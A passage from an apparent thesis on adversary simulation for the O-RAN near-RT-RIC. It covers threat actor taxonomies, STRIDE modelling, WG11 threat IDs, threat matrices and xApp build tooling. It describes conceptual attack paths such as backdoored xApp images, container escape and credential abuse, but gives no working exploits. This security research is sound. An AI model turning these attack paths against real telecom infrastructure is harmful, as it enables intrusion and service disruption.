imminent danger they pose to the O-RAN ecosystem. Furthermore, internal threat
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actors already possess some degree of access, causing a higher impact and more
devastation in case of a successful attack [45], [49].

Figure 4.1: Threat Actors in O-RAN ecosystem. [2]

Threat Actor Taxonomy

This subsection details the taxonomy of threat actors deemed relevant for the creation
of an adversarial simulation strategy in the O-RAN ecosystem. The categories of the
taxonomy encompass internal or external affiliation, accessible O-RAN component(s)
and the overall level of access to the O-RAN infrastructure. Due to the cloud-native
nature of the O-RAN ecosystem, specifically the implementation of the O-RAN
SC reference implementation, all components interact with the O-Cloud, thereby
exposing the underlying infrastructure to each O-RAN component to varying degrees.
The threat actor taxonomy provides a classification framework for threat actors in the
O-RAN ecosystem, categorizing them into three primary dimensions, as explained
below.

• Affiliation (Internal/External): This dimension determines whether a
threat actor is part of the O-RAN ecosystem or external to it.

• Component: This dimension is specific to the O-RAN architectural compo-
nents, and specifies which component the threat actor has access to or can
influence.

• Access: The access dimension defines the extent of the threat actor’s access
to the O-RAN infrastructure, split into three categories of High, Medium and
Low.

The taxonomy is derived from the work of the FORAN research project and the
findings of the WG11 and the BSI. The taxonomy is illustrated in table 4.1 and
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provides a foundational understanding for the capabilities and potential impact of
the mentioned threat actors in the O-RAN ecosystem [2], [45], [49].

Threat Actor
Internal/
External Component Access

RAN Operator Internal RAN Infrastructure High
Insider Admin Internal Single RAN Component Medium
Cloud Service Provider (CSP) External O-Cloud Medium

xApp/rApp developer
Internal/
External xApp/rApp Repository Medium

Table 4.1: Central Threat Actors in the O-RAN Ecosystem

The threat actors are depicted in figure 4.1, showcasing them in an architectural
context of the O-RAN ecosystem. It is important to note that insider threats entail
malicious and accidental behavior. Furthermore, the compromise of insider credentials
through phishing or other social engineering attacks, is a considerable threat, leading
to the same level of risk exposure posed by malicious insiders. Therefore, compromised
credentials are considered part of the category of insider threats, as they effectively
grant external actors the same level of access and potential impact as legitimate
insiders. This classification is particularly relevant in cloud-native environments
like the O-RAN ecosystem, where compromised credentials can enable unauthorized
access to critical infrastructure components. The depicted threat actors are discussed
in more detail in the following subsection.

Threat Actor Description

• RAN Operator: The RAN operator is the internal threat actor with admin-
istrative control over the entire O-RAN infrastructure. Thereby, this threat
actor is categorized with a high level of access, as they have full access to
each component hosted and operated within the RAN. This threat actor has
maximum impact on all security properties of the O-RAN ecosystem, including
it’s availability, integrity and confidentiality.

• Insider Admin: The insider admin is an internal threat actor with admin-
istrative control over a single O-RAN component, such as the near-RT-RIC.
This threat actor maintains a medium level of access, as they have direct access
to the O-RAN infrastructure, including all the interfaces and communication
channels terminated at the controlled component, but not a high level of ac-
cess, since they only control a single component. The insider admin has the
capability to induce significant damage on the O-RAN ecosystem, depending
on the component they administer. Controlling a central component such as
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one of the RICs, enables significant influence on the security properties of the
entire system, as these components are central to the control and storage of
sensitive information, such as RAN configurations or even UE data in case of
the near-RT-RIC.

• CSP: The CSP is an external actor that provides and to some extent maintains
the infrastructure for O-Cloud. The O-Cloud is responsible for the provisioning
and orchestration of all virtualized components and services in the O-RAN
environment. The CSP maintains a medium level of access, as they have control
over the availability and partly integrity of the O-Cloud infrastructure. However,
they cannot compromise the confidentiality of the O-Cloud infrastructure, as the
components and services are not directly accessible by the CSP. Therefore, the
CSP could suspend host nodes that operate O-RAN functions, However, multi-
cloud redundancy or on-premise deployments of critical O-RAN components,
can drastically reduce the impact of the CSP on the O-RAN ecosystem.

• xApp/rApp Developer: xApp and rApp developers can be either internal or
external threat actors, however in most scenarios they are considered external
entities. In the case of large MNOs, it is likely that the operator itself develops
own xApps and rApps, to customize and tailor the control logic of the RICs to
their specific requirements and use cases. These developers uphold a medium
level of access, as they can effectively achieve Remote Code Execution (RCE)
on the near-RT-RIC and non-RT-RIC, when their software is released and
onboarded to the O-RAN infrastructure. Given the central role of the RICs
in the O-RAN ecosystem, and the fact that xApps and rApps are directly
deployed into the same containerized environment as the RICs, the impact of
malicious software and pathways to interact with critical O-RAN components
is significant.

The following subsection discusses the potential motivations and objectives of the
threat actors stated in the taxonomy above. The motivations are derived from the
work of the FORAN research project and the threat modeling documents of the
WG11 [2], [45].

Threat Actor Motivation and Objectives

• Disruption of Service: Disruption of service represents an adversarial ob-
jective that targets the availability and performance of services offered by the
O-RAN ecosystem. This objective can entail the outage of single O-RAN
services, extending to a system-wide outage of the entire O-RAN infrastructure.
Adversaries may aim to disrupt O-RAN services by overloading the O-RAN
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infrastructure, such as through Distributed Denial of Service (DDoS) attacks,
thereby reducing the capacity and performance. This leads to operational
deficiencies or complete failure of the targeted service, compromising system
reliability, degrading network performance, and preventing the fulfillment of
RAN intent.

• Data Theft: Data theft represents the adversarial objective of exfiltrating
sensitive information from the O-RAN ecosystem, targeting the confidentiality
of the system and data stored within. This information may include the
architectural design and implementation of the RAN, RAN configurations and
operational parameters, UE and subscriber information or performance and
usage statistics. This information is valuable to adversaries, as it could be
employed to gain a competitive advantage by competing MNOs, target specific
individuals or groups by analyzing and correlating UE and subscriber data or to
compromise the O-RAN infrastructure further, through the gained information
from reconnaissance activities.

• Data Destruction: The goal of data destruction targets the availability
and integrity of the O-RAN infrastructure. This objective manifests in the
deletion or corruption of files that are critical to the operation of the O-RAN
infrastructure, competitive advantage of the MNO and privacy of customers.
These files may include configurations, monitoring data, sensitive subscriber
information or software components utilized in the infrastructure. Furthermore,
depending on the level of access, destruction may entail the deletion of entire
RAN components, virtual machines, containers and network links, due to the
use of cloudified infrastructure and adoption of Infrastructure as Code (IaC).
These actions can cause temporary system failures, disruption of service or
in the worst case operational paralysis due to loss of critical data, missing
backups and high recovery times, rendering the entire O-RAN infrastructure
inoperable.

• Reputation Damage: A higher-level objective of threat actors is causing
damage to the reputation of the developers and especially MNOs, by fulfilling
one of the objectives above. This can lead to the loss of customers, additional
regulatory oversight, financial losses and in the worst case to liquidation of the
operator.

• Espionage: The adversarial objective of espionage is a specific form of data
theft, that targets the confidentiality of O-RAN infrastructure and operations.
These type of activities are mainly conducted by state-sponsored actors or
sophisticated black-hat groups striving to gain a financial advantage from
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their adversarial activities. The stolen information may be employed to gain a
competitive or strategic advantage, and to drive the development, implementa-
tion and optimization of technical solutions regarding the O-RAN ecosystem.
Espionage may entail long-term persistence in the O-RAN infrastructure, to
continually monitor as the system evolves and exfiltrate information inconspic-
uously.

4.1.2 Threat Actors targeting the near-RT-RIC and xApps

This section discusses the threat actors specific to the near-RT-RIC and xApps. There
is a large overlap to the taxonomy discussed in the previous section, however the
context and focus of the threat actors is narrowed down to focus on the near-RT-RIC
and xApps. The taxonomy is illustrated in table 4.2 below.

Threat Actor
Internal/
External Component Access

RAN Operator Internal RAN Infrastructure High
Insider Admin Internal Near-RT RIC Medium
CSP External O-Cloud Medium

xApp Developer
Internal/
External xApp Repository Medium

xApp Repository Admin
Internal/
External xApp Repository Medium

xApp Repository CSP External xApp Repository Low

Table 4.2: Threat Actors targeting the near-RT-RIC

Threat Actor Description

• RAN Operator: This threat actor remains the same as in the previous section
4.1.1.

• Insider Admin: This insider admin has full administrative control over the
near-RT-RIC. Thereby, this is a specific version of the insider admin, however
the access level and other capabilities remain the same as in the previous
section 4.1.1.

• CSP: This threat actor remains the same as in the previous section 4.1.1.
• xApp Developer: This threat actor remains the same as in the previous

section 4.1.1, however disregarding the rApp developer, as the focus is on
xApps.

• xApp Repository Admin: This threat actor is the administrator of the
xApp repository used to pull and deploy xApps to the near-RT-RIC. Since this
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entity has full control over the xApp repository, they can access the source
code implementing the control logic, modify xApps by injecting malicious code
and delete xApps entirely. Thereby the repository admin can cause an absence
of the utilized control logic to the consuming near-RT-RIC due to the xApp’s
unavailability, or indirectly achieve RCE on the near-RT-RIC, through the
malicious modification of a legitimate xApp. Hence, the threat actor has the
same level of access (medium) as the xApp developer. The threat actor may
be internal or external, as the xApp repository can be hosted on-premise or in
a publicly accessible repository.

• xApp Repository CSP: The xApp repository CSP has a subset of the
capabilities of the xApp repository admin, as they can only affect the availability
of the xApp repository and thereby the availability of xApps. This threat actor
cannot affect the integrity or confidentiality of the xApp repository, as they
cannot modify xApps or access the data stored in the repository. Therefore,
this threat actor has a low level of access.

4.2 Frameworks and Threat Identification
This section discusses the STRIDE threat modeling framework and system modeling
techniques relevant for the description of the attack surface of the near-RT-RIC and
its hosted xApps. Furthermore, relevant threat frameworks and knowledge bases
that support the threat identification and prioritization process are presented.

4.2.1 System Modeling and Assumptions

This section discusses the threat modeling framework STRIDE, DFDs, and the
considered initial access vectors for threat actors in the reference implementation of
the O-RAN environment.
The STRIDE framework is a threat modeling framework developed by Microsoft, that
classifies threats into six categories, Spoofing, Tampering, Repudiation, Information
Disclosure, Denial of Service and Elevation of Privileges. In combination with system
modeling techniques, this framework can aid in the identification, assessment and
prioritization of threats of the modeled system. This is achieved by systematically
evaluating the system’s attack surface, identifying vulnerable components and inter-
faces, and defining the security properties that are violated in case of a potential
attack. The STRIDE framework is illustrated in table 4.3 below.
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Category Violates Examples

Spoofing Authenticity Impersonation of a legitimate entity using
stolen credentials.

Tampering Integrity Malicious modifications of information.

Repudiation Non-
repudiability

The removal or forgery of information to
avoid attribution of a malicious action.

Information
Disclosure Confidentiality Access or exfiltration of secret information.

Denial of Service Availability Rendering a system, service or data
inaccessible.

Elevation of
Privileges Authorization

The process of gaining more access and
permission to access additional resources,
systems or networks.

Table 4.3: The STRIDE framework including respective security properties and examples
of violations [60].

The high-level threat modeling process was discussed in section 2.2.1. Furthermore,
the architecture and relevant assets in need of protection were identified in chapter 3.
In order to specify and map threats more accurately, system modeling techniques are
applied. A common way to model a system is to create a DFD. A DFD is a graphical
representation of the system, including the system’s components, interfaces, data
flows, actors and trust boundaries. The concept of DFDs allows for the creation of
system models with varying degrees of detail, depending on purpose the model serves
and the level of detail required. These DFDs are then labeled as DFD-X, where X
indicates the level of detail of the model, with a higher number indicating a higher
degree of detail.
The system modeling activities are conducted using the threat modeling tool Threat
Dragon by the Open Web Application Security Project (OWASP) foundation. The
tool is open-source and supports the integration of various threat modeling frame-
works, including STRIDE. The system being modelled is the Kubernetes orchestrated
deployment of the I-Release O-RAN reference implementation by the O-RAN SC. A
top-level DFD-1 representation of the O-RAN RICs, is shown in figure 4.2 [61].
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Figure 4.2: High-level DFD-1 representation of the O-RAN RICs.

The DFD-2 of the near-RT-RIC is a more in depth representation including specific
Kubernetes resources, such as the pods for each RAN function, is depicted in
Appendix A.

Entry Points

The threat model serves as a theoretical foundation for implementing and simulating
adversarial behavior in the near-RT-RIC. The threat actors discussed in the previous
section possess varying degrees of access to the operational O-RAN infrastructure.
Thereby the focus of the adversarial simulation is not on simulating initial access,
but rather on the malicious behavior within the infrastructure, given a specific initial
access vector. This follows the assume-breach model, which takes into account that
adversaries will be able to overcome initial defense mechanisms, given enough time
and resources. Hence, the focus shifts away from solely protecting the outer perimeter
of the system, but rather on the adversarial behavior that occurs once initial foothold
is gained. This is especially important when considering insider threats, as they have
some level of access the system by definition [62].
The following subsection presents the defined initial access vectors given the assumed-
breach model. The initial access vectors align with the threat actors discussed
previously. Some of the considered threat actors, such as the RAN operator or
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insider admin, have direct access to the O-RAN infrastructure, and are therefore
internal threat actors. The xApp developer and xApp repository admin can be either
internal or external, however, in most scenarios these will be external entities and
only possess indirect access to the O-RAN infrastructure.

• Compromised Credentials: A seemingly obvious yet prevalent initial ac-
cess vector concerns the abuse of valid, compromised or otherwise disclosed
credentials. These credentials may include developer credentials, such as access
to code repositories, CI/CD pipelines or credentials to testing and staging
environments. Furthermore, administrative credentials such as Secure Shell
(SSH) passwords, keys or API tokens, provide direct access to the O-RAN
infrastructure. The viability of this initial access vector is consolidated by
the cloud security report of the Cloud Security Alliance (CSA), stating that
inadequate management of credentials and keys is the number one threat to
cloud environments [63].

• Compromised Container Image: Supply chain attacks involving maliciously
modified container images present a significant threat, especially in the domain
of containerized applications, such as the O-RAN reference implementation.
Furthermore, xApps are deployed as containerized applications and loaded into
the near-RT-RIC through mostly external repositories. In the case of missing
vulnerability scanning, isolation mechanisms and strong authentication and
authorization mechanisms, a backdoored xApp image can be deployed to gain
initial access to the O-RAN infrastructure.

• Vulnerable Public APIs or Service: The exposure of externally facing APIs
or services, such as the Kubernetes API or APIs related to the management and
orchestration of the underlying virtualized infrastructure, pose a substantial
risk. In case of compromised API keys or tokens, vulnerable software services
or entirely unsecured API endpoints, adversaries can gain initial access to
the O-RAN infrastructure. This scenario is especially critical in public cloud
environments, where components of the O-RAN reference implementation may
be deployed.

• xApp Supply Chain Attacks: xApps may be employed in sophisticated
supply chain attacks targeting the near-RT-RIC. As xApps are mostly developed
and hosted in external repositories, it makes them a prime target for adversaries
targeting the O-RAN ecosystem. Furthermore, there exist no clear guidelines
and best practices related to the secure development of xApps, making them
ideal candidates for gaining initial access to the O-RAN infrastructure.
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4.2.2 Threat Matrices and Knowledge Bases

This section examines threat knowledge bases and the threat modeling research
of the WG11 for the purpose of threat discovery and mapping in the O-RAN
SC I-Release reference implementation. These threat collections aid tremendously
in simulating adversarial behavior, and thereby form the basis for the technical
implementation of the adversary simulation in the near-RT-RIC and xApps. The
following segment examines relevant threat collections and matrices, detailing their
scope and applicability to cloudified O-RAN deployments.

• MITRE Containers Matrix: The MITRE Containers Matrix is a specialized
threat matrix from the MITRE ATT&CK enterprise knowledge base. The
matrix encompasses tactics and techniques employed by adversaries to target
and compromise containerized environments including container orchestration
platforms such as Kubernetes. The matrix comprises nine tactics and 39 tech-
niques, excluding sub-techniques. The MITRE Containers Matrix is illustrated
in Appendix B [64].

• MITRE Cloud IaaS Matrix: The MITRE Cloud IaaS Matrix is a custom
threat matrix from the MITRE ATT&CK enterprise cloud knowledge base.
The matrix covers cloudified IaaS environments, including cloud infrastructure
such as VMs, storage buckets, and serverless computing functions. The matrix
comprises eleven tactics and 64 techniques, excluding sub-techniques. The
MITRE Cloud IaaS Matrix is illustrated in Appendix C [65].

• MITRE FiGHT: The MITRE FiGHT framework is a comprehensive threat
knowledge base containing TTPs to target 5G cellular networks. The framework
is modeled according to the structure of the MITRE ATT&CK framework,
and comprises 15 tactics and 102 techniques, excluding sub-techniques. The
identified attack vectors are categorized into three categories: theoretical, Proof
of Concept (PoC) and observed. Most of the theoretical and PoC vectors make
up the majority of techniques in this matrix. The MITRE FiGHT framework
is illustrated in Appendix D [66].

• Microsoft Threat Matrix for Kubernetes: The Microsoft Threat Matrix
for Kubernetes is a comprehensive threat matrix developed by Microsoft to
assess the security posture of Kubernetes environments. The matrix is struc-
tured according to the MITRE ATT&CK framework, and comprises 10 tactics
and 48 techniques. The matrix is illustrated in Appendix E. The company
RedGuard AG, based in Switzerland, has adopted the Kubernetes threat ma-
trix and provided exemplary PoC implementations for a large subset of the
official Microsoft Threat Matrix for Kubernetes. This practical implementation
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facilitates the systematic simulation of adversarial behavior and the verification
of the effectiveness of the implemented defense mechanisms. The RedGuard
Kubernetes Threat Matrix is illustrated in Appendix F. [67] [68].

• WG11 Threat Collection: The WG11 is responsible for all security related
evaluation and specification surrounding the O-RAN ecosystem. In the course
of their work, the WG11 has developed a comprehensive threat model for the
O-RAN ecosystem, including specific threat assessments of the O-Cloud, the
near-RT-RIC and xApps. However, the main threat collection is contained
in their threat model specification, that includes various categories of threats.
The most relevant O-RAN threat ID categories are listed in the table 4.4 below
[45] [46] [47].

Threat ID Description
T-NEAR-RT-X Threats against Near-RT RIC
T-xApp-X Threats against xApps
T-O-RAN-X Common among O-RAN components
T-IMG-X Threats concerning VM/Container images
T-VM-C-X Threats concerning VMs/Containers
T-GEN-X Threats against O-CLOUD
T-OPENSRC-X Threats to open source code

T-VL-X Threats concerning the virtualization layer
(Host OS-Hypervisor/Container engine)

T-E2-X Threats against E2 interface
T-A1-X Threats against A1 interface
T-AppLCM-X Threats against application life cycle
T-O2-X Threats concerning O-Cloud interfaces
T-OCAPI-X Threats concerning O-Cloud API

T-ADMIN-X Threats concerning O-Cloud management
(SMO, NFO, FOCOM)

T-O-CLOUD-ID-X Threats concerning O-Cloud instance ID
T-SMO-X General SMO Threats
T-PNF-X Threats against PNF

Table 4.4: Selected O-RAN Threat ID categories from WG11 Threat Model [45]
(presented in descending order of relevance to the research scope).

4.3 Attack Vector Selection
The O-RAN Alliance Working Group 11 (WG11) has developed a comprehensive
threat modeling specification for the O-RAN ecosystem. This framework uses a
structured approach to cover all relevant attack vectors and categorize these threats

52



4.3 Attack Vector Selection

using unique threat identifiers (T-IDs). The threat modeling documentation from
WG11 categorizes threats into several main groups, as depicted in table 4.4.
The selection of attack vectors from the WG11 relevant to this thesis are outlined
below.

• T-NEAR-RT-01: Malicious xApp UE Data Exploitation - Malicious xApps
could access and manipulate sensitive UE data, enabling unauthorized surveil-
lance or manipulation of UE behavior.

• T-NEAR-RT-02: Malicious xApp Information Disclosure - Malicious xApps
could access protected information due to insufficient authentication, enabling
unauthorized access to sensitive near-RT-RIC data.

• T-NEAR-RT-02A: Malicious xApp Service Impact - Malicious xApps could
impact service availability through insufficient authentication, potentially caus-
ing service degradation or disruption.

• T-NEAR-RT-03: Malicious xApp API Exploitation - Attackers could exploit
non-authenticated, weakly or incorrectly authenticated near-RT-RIC APIs to
obtain protected information, potentially leading to unauthorized access to
sensitive data and system resources.

• T-NEAR-RT-04: Malicious xApp API Resource Access - Attackers could
exploit non-authorized near-RT-RIC APIs to access resources and services
which they are not entitled to use, potentially leading to unauthorized access
to protected information.

• T-NEAR-RT-05: Malicious xApp Identity Spoofing - Attackers could exploit
non-uniquely identified xApps using a trusted xAppID to access resources and
services which they are not entitled to use, potentially leading to unauthorized
access to sensitive data and system resources.

• T-xAPP-01: xApp Interface Data Manipulation - Attackers could exploit
xApp vulnerabilities and misconfigurations to alter data transmitted over A1
or E2 interfaces, potentially compromising the integrity of network communi-
cations.

• T-xAPP-01A: xApp Information Extraction - Attackers could exploit xApp
vulnerabilities and misconfigurations to extract sensitive information, poten-
tially leading to unauthorized data access and disclosure.

• T-xAPP-01B: xApp Service Disruption - Attackers could exploit xApp vulner-
abilities and misconfigurations to disrupt near-RT-RIC functions, potentially
causing service degradation or denial of service.

• T-xAPP-01C: xApp Unauthorized Control - Attackers could exploit xApp
vulnerabilities and misconfigurations to gain unauthorized control over the
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near-RT-RIC, potentially compromising system security and functionality.
• T-xAPP-02: Conflicting xApp Impact - Malicious or misconfigured xApps

could conflict with system functions, degrading performance or creating denial
of service conditions.

• T-xAPP-03: xApp Isolation Compromise - Attackers could exploit vulnerabil-
ities in the underlying system hosting xApps to compromise container isolation,
potentially gaining unauthorized access to system resources.

• T-xAPP-04: Malicious A1 Policy Impact - Attackers could use false or
malicious A1 policies to modify xApp behavior, potentially compromising
system functionality and security.

• T-VM-C-01: Abuse of Privileged VM/Container - Attackers could exploit
misconfigured or insecure VM/Container configurations to gain elevated privi-
leges, potentially compromising the security of the O-Cloud infrastructure and
hosted applications.

• T-VM-C-02: VM/Container Escape Attack - Attackers could exploit vulnera-
bilities in shared tenancy environments, weak isolation mechanisms, or insecure
networking to escape container boundaries, potentially gaining unauthorized
access to the host system and other containers.

• T-VM-C-03: VM/Container Data Theft - Attackers could exploit insufficient
authentication mechanisms or insecure data storage to extract sensitive infor-
mation from containers, potentially leading to unauthorized data access and
disclosure.

• T-IMG-01: VM/Container Images Tampering - Attackers could compromise
VM/Container images through build machine attacks or supply chain attacks,
potentially leading to the deployment of malicious containers in the O-Cloud
infrastructure.

• T-IMG-02: Insecure Channels with Images Repository - Attackers could com-
promise VM/Container images during transit due to insecure communication
channels with image repositories, potentially leading to the deployment of
malicious containers.

• T-IMG-03: Secrets Disclosure in VM/Container Images - Attackers could ex-
tract sensitive secrets stored within images, potentially leading to unauthorized
access to system resources and sensitive data.

The WG11 threat modeling framework serves as a foundation for security analysis in
O-RAN deployments and helps ensure consistent security assessment across different
implementations. However, it’s worth noting that while the framework provides a
theoretical context for threat analysis, it may lack detailed technical specifications
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for specific attack techniques and vectors.
Furthermore, there exist publicly tracked CVEs for O-RAN components, which are
listed in Appendix G. However, there exist no PoCs or practical implementations of
these CVEs, which are required to simulate the adversarial behavior.
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This chapter outlines the development, deployment and infrastructure setup required
for creating xApps. The architecture, function and domain of application of xApps is
explained in 3.3. The xApp development process differs significantly from traditional
software development. This distinction stems from its mandatory operation on the
near-RT-RIC and unique deployment processes, unlike conventional applications
for operating systems such as Linux, Windows, and MacOS. xApp applications are
developed in one of the supported programming languages, which are Go, Python,
Rust and C++. In order to leverage their full functionality and communicate with the
services offered by the RAN, an xApp must interact through the near-RT-RIC’s RMR,
using the implemented APIs of the O-RAN SC. These circumstances make xApp
development challenging, as the developer must be knowledgeable and experienced
in various domains, including the programming languages mentioned above, cloud-
native technologies such as virtualization and containerization, specific software in
this domain, such as Docker, Helm and Kubernetes, and have a deep understanding
of the O-RAN architecture, including its components, interfaces and interactions
[59].

5.1 Guidelines and Resources
This section discusses the available guidelines and resources for developing xApps. The
O-RAN SC maintains a wiki and documentation page that details information about
the development, installation and operation of the numerous O-RAN releases. The
release central to this thesis is the O-RAN I-Release, which was released in December
of 2023. The primary official guidelines for xApp development are summarized in
a document titled "xApp Writer’s Guide" by Mohamed et. al. published on the
O-RAN SC wiki. However, this guide presents advanced implementation aspects,
without including comprehensive background information or details regarding the
testbed and infrastructure setup, as well as debugging and testing strategies. It is
suitable for developers who have in depth knowledge of O-RAN and the relevant
cloud-native technologies as well as experience in C++ and Go, however not suitable
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as a beginner’s guide. Furthermore, this guide is not regularly updated, and was
released in 2021 when the third release, "Cherry", was the latest O-RAN release.
Since, then eight more releases have been published, all of which are End of Life
(EOL) and not actively maintained anymore. Besides this guide, there exist several
wiki pages that outline and explain the xApp onboarding and installation process,
however at a high-level and little information is provided on the development process
itself. Furthermore, these wiki pages are not regularly updated, with some pages
stating the need for an updated guide, or information that has yet to be provided
[69]–[72].
The most comprehensive guide on xApp development has been published in a paper
by Santos et al. titled Managing O-RAN Networks: xApp Development from Zero to
Hero, published in July of 2024, with the latest revision being published in February
of 2025. This paper provides a detailed theoretical and technical analysis of the O-
RAN architecture, its reference implementation by the O-RAN SC, and the essential
cloud-native technologies required for xApp development, including Kubernetes,
Docker and Helm. Furthermore, the paper provides hands-on instructions and code
templates for developing xApps and the means of facilitating the interaction with the
near-RT-RIC and its components. The development guide provides a comprehensive
methodology for designing, managing, debugging, testing and implementing xApps.
Moreover, the paper includes remarks on best practices as well as implementation
challenges when developing xApps [59].

5.2 xApp Structural Components
An xApp is a containerized micro-service that implements control logic to collect
and react to events from the RAN. It operates as an integral part of the near-
RT-RIC within a distributed system consisting of the near-RT-RIC components
and potentially other xApps. An xApp can implement diverse capabilities, such as
collecting performance metrics and monitoring operational telemetry from E2 nodes,
exercising control operations on E2 nodes, and initiating automated responses based
on the examined data. The capabilities, interfaces, interactions and concrete use
cases of xApps are discussed in detail in section 3.3.
The xApp is technically implemented as Kubernetes pod, comprising one or more
containers, that package the xApp’s control logic, dependencies and configurations.
The xApp application is represented by a Helm chart that defines the Kubernetes
deployment configuration, including the pod specification, such as the container
image, ports and configuration parameters, but also include version information,
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dependencies and other deployment specific information. The only operational
dependency of an xApp is the descriptor file, that is passed as a Kubernetes CM
to the xApp’s pod. The descriptor provides the initial configuration required for
the xApp’s deployment as well as registration with the near-RT-RIC components.
Interactions with other near-RT-RIC components are optional, however limit the
xApps use cases if not implemented. The descriptor enables the AppMgr to fetch the
appropriate container images from the specified container registries, configure the
xApp pod and notify other components of the xApp’s presence. The xApp descriptor
is provided by the developer and facilitates the generation of the Helm chart used for
the xApp’s deployment. The descriptor components are discussed in the following.

5.2.1 xApp Descriptor

The xApp descriptor is a JavaScript Object Notation (JSON) file employed by the
near-RT-RIC to deploy the xApp. The following information is comprised in the
descriptor.

• Name (mandatory): The name of the xApp
• Version (mandatory): The version of the xApp
• Container images (mandatory): The container images required for the

xApp
• Location of container registries (mandatory): The location of the con-

tainer registries (Uniform Resource Locator (URL))
• Container ports (mandatory): The container ports
• RMR messages (optional): The RMR messages published/subscribed to

by the xApp
• Consumed A1 policies (optional): The A1 policies consumed by the xApp
• Controls (optional): Application specific parameters

The content of the descriptor are validated and verified by the AppMgr component
using the xApp schema file, which defines the structure and contents of the xApp
descriptor. This enables the AppMgr to identify missing parameters and ensure the
xApp is configured correctly. The AppMgr has access to various xApp schemas that
allow for the validation of required parameters and most of the optional parameters.
An exception is the "controls" section, which is application specific and requires the
definition of a custom schema file by the developer. Upon successful verification, the
deployment is initiated, which is described in section 5.4 [59].
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5.3 xApp Development Tooling and Resources
The development of xApps requires a specialized set of tools, comprising the pro-
gramming language, the xApp framework, containerization and orchestration tools
(Docker, Helm, kubectl), deployment management tools (Deployment Management
Service CLI (dms_cli)), and further resources such as dependencies, libraries and
simulators for testing and debugging. Furthermore, a deployment of the O-RAN SC
reference implementation is required, to test and debug the operation of an xApp in
the O-RAN environment. The following sections provides an overview of the essential
development resources.

xApp SDK

The O-RAN SC offers a SDK for developing xApps in the supported programming
languages, including Go, Python, Rust, and C++. The SDK provides libraries for
communication with near-RT-RIC components, interfaces, and endpoints, enabling
developers to implement control logic and xApp functionality effectively. The xApp
framework streamlines the development process by providing consistent libraries,
APIs, while also abstracting complex operations such as registration, deregistration,
and E2 node subscription.

• Abstract Syntax Notation One (ASN.1) compiler to autogenerate C++ bindings
for E2 node Service Models (SMs)

• dms_cli to manage xApp lifecycle
• xApp framework libraries and APIs for supported languages

Development Tools

The development tools required for the management and deployment of xApps in
the container orchestrated near-RT-RIC are outlined below.

• Docker: Container and image management
• Helm: Kubernetes package management
• kubectl: Kubernetes cluster interaction
• dms_cli: xApp lifecycle management

xApp Framework

The xApp framework is a set of libraries and APIs that streamline xApp development
and provide a consistent interface for all supported programming languages. It
abstracts the underlying complexities of the near-RT-RIC and its components,
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allowing developers to focus on implementing their control logic. The architecture of
the xApp framework is illustrated in figure 5.1. The core functionality and benefits
of the xApp framework are summarized below.

• Streamline xApp development, using same libraries and API for all supported
languages

• Core near-RT-RIC Services and Interfaces:

– RMR message handling
– SDL key/value storage operations
– STSL time-series data storage operations
– RIC Alarm API
– Logging
– Health checks/probes

• Abstraction of near-RT-RIC xApp operations (registration, deregistration, E2
node subscription)

• Facilitates interactions with near-RT-RIC components and interfaces
• Language bindings (Go, Python, Rust, C++)

Figure 5.1: xApp Framework Architecture [73]

O-RAN SC Reference Implementation

The O-RAN SC reference implementation provides a Kubernetes orchestrated im-
plementation of the O-RAN architecture, including its components and interfaces.
The reference implementation serves as the execution environment for xApps, pro-
viding the necessary components and interfaces for the xApp to interact with the
near-RT-RIC.

• O-RAN components (e.g. near-RT-RIC, non-RT-RIC, SMO)

60



5.4 xApp Lifecycle Management

• Interface terminations (e.g. A1, O1, E2)
• Simulators (A1Sim, O1Sim, E2Sim), for testing and prototyping without full

deployment of disaggregated gNB components [59]

5.3.1 Go Framework

The open-source nature of the xApp frameworks has resulted in inconsistent feature
implementation across the different language bindings, as development progress
depends on community contributions and adoption of the particular framework.
While all supported languages (Go, Python, C++, Rust) implement core functionality
like RMR messaging and SDL operations, features like the Alarm API and STSL
operations are only available in certain language bindings. The Go framework was
selected for this work due to its comprehensive feature set, which comprises robust
operating system-level operations, efficient networking capabilities, and a mature
standard library for HTTP endpoint communication. This choice is further supported
by Go’s widespread use in cloud-native environments, particularly in Kubernetes
and other container orchestration tools that facilitate the operation of the O-RAN
SC reference implementation. Furthermore, Go has become the language of choice
for developing security assessment and penetration testing tools in cloud-native
environments, making it particularly suitable for developing adversary simulation
based on xApps that assess the security posture of the O-RAN infrastructure [74]
[59].

5.4 xApp Lifecycle Management
This section discusses the lifecycle of xApps, from development to deployment,
including the image build process, distribution, onboarding and installation of the
xApp. The lifecycle is depicted in figure 5.2.

Figure 5.2: xApp Lifecycle: From Development to Deployment [59]

5.4.1 Image Building

The xApp image encapsulates the application code, its dependencies such as libraries
and binaries, and configuration in a standardized container format. This approach
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offers several key benefits. The containerized xApp can be deployed across different
environments without modification, ensuring consistent behavior regardless of the
underlying infrastructure. The container provides an isolated environment that
prevents conflicts with other applications. The image build process ensures that the
xApp can be reliably reproduced with the exact same dependencies and configuration
across different deployments. The containerized format simplifies the distribution
and versioning of xApps through container registries, enabling consistent deployment
and updates.
The xApp image is built using the Docker build command, which is a part of the
Docker CLI. The build command requires the specification of the image name and
tag, as well as the Dockerfile that defines the image. The build process is initiated
by executing the command docker build in the root directory of the xApp project.
An example of the build command is shown in listing 5.1 below.

1 # Build the Docker image
2 print_step " Building Docker image: ${ IMAGE_NAME }:${ IMAGE_TAG }"
3 docker build -t ${ IMAGE_NAME }:${ IMAGE_TAG } .

Listing 5.1: Docker Build Command Example

5.4.2 Image Distribution

The xApp image is distributed through a container registry, which serves as a
centralized storage and distribution system for container images. Container registries
can be categorized into two main types: public registries, which are openly accessible,
and private registries, which are typically hosted on-premise and only accessible
internally. DockerHub represents the most widely used public registry, while Harbor
stands out as a prominent private registry solution. Harbor, being an open-source and
enterprise-grade container registry, offers advanced security features including role-
based access control, automated vulnerability scanning, and digital image signing
capabilities. Harbor’s integration with Kubernetes make it a popular choice for
managing container images in Kubernetes based environments. Harbor is used in
this thesis for the distribution of the xApp images [75], [76].
Interaction with the container registry is performed using the Docker CLI, which
provides the set of commands for tagging, pushing and pulling images to and from
the registry. An example of the tagging and pushing of an xApp image is shown in
listing 5.2 below.

1 # Tag the image for Harbor registry
2 print_step " Tagging image for Harbor registry "
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3 docker tag ${ IMAGE_NAME }:${ IMAGE_TAG } ${ HARBOR_REGISTRY }/${
HARBOR_PROJECT }/${ IMAGE_NAME }:${ IMAGE_TAG }

4

5 # Login to Harbor registry
6 print_step " Logging in to Harbor registry "
7 echo ${ HARBOR_USER_PASSWORD } | docker login ${ HARBOR_REGISTRY } -u

${ HARBOR_USER } --password -stdin
8

9 # Push the image to Harbor registry
